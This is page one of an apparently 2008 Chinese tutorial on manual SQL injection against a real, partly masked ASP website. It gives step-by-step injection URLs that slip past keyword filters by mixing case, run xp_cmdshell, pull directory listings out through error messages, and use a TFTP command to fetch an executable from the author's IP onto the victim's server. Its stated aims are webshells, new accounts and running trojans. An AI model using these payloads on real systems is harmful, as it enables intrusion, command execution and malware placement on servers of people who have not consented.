安全中国首页 > 文章中心 > 渗透技术
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

SQL注入中的错误分析及渗透技术(图)

更新时间:2008-10-8 0:14:59
责任编辑:池天
热 点:
简介:本文主要讲了在SQL注入过程中遇到一些特殊问题时的一些思考及处理思路,其中涉及了一些手工注入的语法及渗透思维,谨以此文献给那些刚刚起步的菜鸟朋友们,我也是刚刚起步,掌握了一些技术,希望将掌握的技术写出来与大家共享、共同学习、共同提高。

   普遍的判断注入的方法相信大家都已经掌握了,无非就是加单引号,加and 1=1 and 1=2之类的。是的这个的确是判断注入的方法,但知道这些对于渗透入侵还是远远不够的。我今天引用的这个例子可以通过这种方法判断为存在注入漏洞,但是用工具却注入不了。我们今天将采用的是手工注入的方法,在注入过程中对随时遇到的错误信息进行分析及判断。

   例子: http://www.*****.com/zhuanti/zt.asp?id=34

加单引号,返回错误
加and 1=1 返回正常
加and 1=2 返回错误
好了,先用工具注入一下,看结果。

如图1:

   从中可以看出当前连接用户名、库名、权限是SA,比较大。我们在看一下是否可执行命令,打开NBSI的命令工具,列C盘看下,结果显示什么也没有,再列目录看下,结果还是一样,空空如也。
如图2:

   到这里可能绝大多数初学的朋友就要被难住了,难道真的没有办法了吗?有的!!当然有,因为这个注入点过滤了一些关键字,所以用工具就无能为力了,不过转换一下这些关键字的大小写即可成功注入,下面说说手工注入该站的详细步骤。

   入侵思路:既然注入点权限是SA,那么首先考虑的就是执行命令,加用户,3389登录,如果没有3389开放的话,那就试试用命令执行一些上传操作,例如:HTTP上传、FTP上传、TFTP上传等等。上传一些木马程序然后运行。如果不可以执行命令,那么还可以查查WEB主目录,利用差异备份或者LOG备份得到一个WEBSHELL,然后再恢复命令执行,上传木马并运行。

   以上面这个注入点为例,首先怎样判断注入点是否可执行命令。大家都知道工具注入是不行的了,那么手工该如何判断这个注入点是否能执行命令呢?我们可以先建一个表,然后执行一下XP_CMDSHELL存储过程在C盘上建个目录,再用xp_subdirs存储过程读C盘下的子目录进表中,再利用暴表的注入语句将表内容读出,这样我们就知道目录是否创建成功,如果成功说明可执行命令。注入语句如下:

(1)http://www.*****.com/zhuanti/zt.asp?id=34;Create table temp(id nvarchAr(255),num1 nvarchAr(255),num2 nvarchAr(255),num3 nvarchAr(255));--
(2)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'md c:cxd'--
(3)http://www.*****.com/zhuanti/zt.asp?id=34;Insert into temp(id) eXec master.dbo.xp_subdirs 'c:';--
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select top 1 id from temp)>0--
(5)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 2 * from temp order by 1) T order by 1 desc)S)>0--
(6)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--

   可是在执行第一条语句是出现了错误,一般正常的注入点执行这个建表命令是不会出错的,但是这个注入点出错了,如图3:

提示信息为:数据库中已存在名为temp的对象.
疑问1:难道是这个库中以前就有temp表,那好吧,我们先把以前的表删除.语句如下:
http://www.*****.com/zhuanti/zt.asp?id=34;Drop table temp--
可这次又出错了,提示:无法除去,表不存在.这就怪事了,刚才建表是重复建表,出错..现在删表又不存在了?搞得人一头雾水...再试,建个temp1表,提示如故:数据库中已存在名为temp1的对象。
疑问2:难道是数据库跟我们捉迷藏,我们建哪个表删哪个表,它就事先知道,先我一步把它搞定了?不太可能呀,数据库还达不到这样的智能程度。想来想去,那只有一种可能:那就是我们提交一句注入语句被执行了多次,当第一次执行成功后,后面的再执行当然就会出现重复建表、重复删表的错误了。只是一时还得不到验证。既然建表已经成功,那我们就依次提交第(2)至第(4)条语句,暴出表temp第一条记录ID列的内容:cxd   呵呵,正是我所希望的,c盘上存在一个名为cxd的目录,说明此注入点可执行命令。接着再来暴表temp第二条记录的内容,提交第(5)句,得到内容还是:cxd,再提交:
http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 3 * from temp order by 1) T order by 1 desc)S)>0--
暴第三条记录的内容,还是cxd,接着,继续。。
http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--
把X 的位置依次换成4 5 6 7 8,换成4时,暴出内容为:cxd 换成5时,暴出内容为:Documents and Settings 呵呵,原来第1至4条记录是相同的,第5至8是相同的。现在终于验证了我当前的推断,同一条语句被执行了4次,导致执行一句插入语句,产生了四条记录。这就是上面建表提示出错的原因,所以任何返回信息只是一种参考信息,它并不一定就是对了,或许会带有一些迷惑性,我们在注入时要分清楚,哪些是真实的返回,哪些是虚假的。

好了,知道这个注入点可执行命令了,下一步当然是用扫描器扫端口了,看是否开3389,扫描结果如下:只开了21 80端口,看来加用户3389登录是没戏了,那就试试TFTP上传吧,注入语句如下:
http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'tftp -i 221.121.125.20 get ps.exe c:ps.exe'--
说明一下:221.121.125.20是我自己电脑的外网IP,tftp -i 221.121.125.20 get ps.exe c:ps.exe是从我的电脑下载ps.exe保存在它的C盘根目录下。在提交前,先在本机上运行一下tftpd32.exe,这个程序网上有,大家可以自己搜索一下。图形界面的程序,大家一看就会用了,

如图4:
点提交后,TFTPD32的窗口一点反应都没有,如果有机器连接进来并且下载东东的话,TFTPD32窗口会显示对方的IP及下载的文件名,没反应,可能是 MSSQL服务器在内网不能上互联网或者被防火墙拦截了。好了,既然我们有执行命令的权限,那我们怎样进一步判断它的MSSQL数据库是在内网还是外网或者安装了什么杀毒软件,什么防火墙呢?还或者其它一些你所感兴趣的东东呢?

1 2 下一页

·上一篇: 渗透某一游戏交易网
·下一篇: 暂时空缺
 
相关文章
一日一文章
 
一日一软件
一日一动画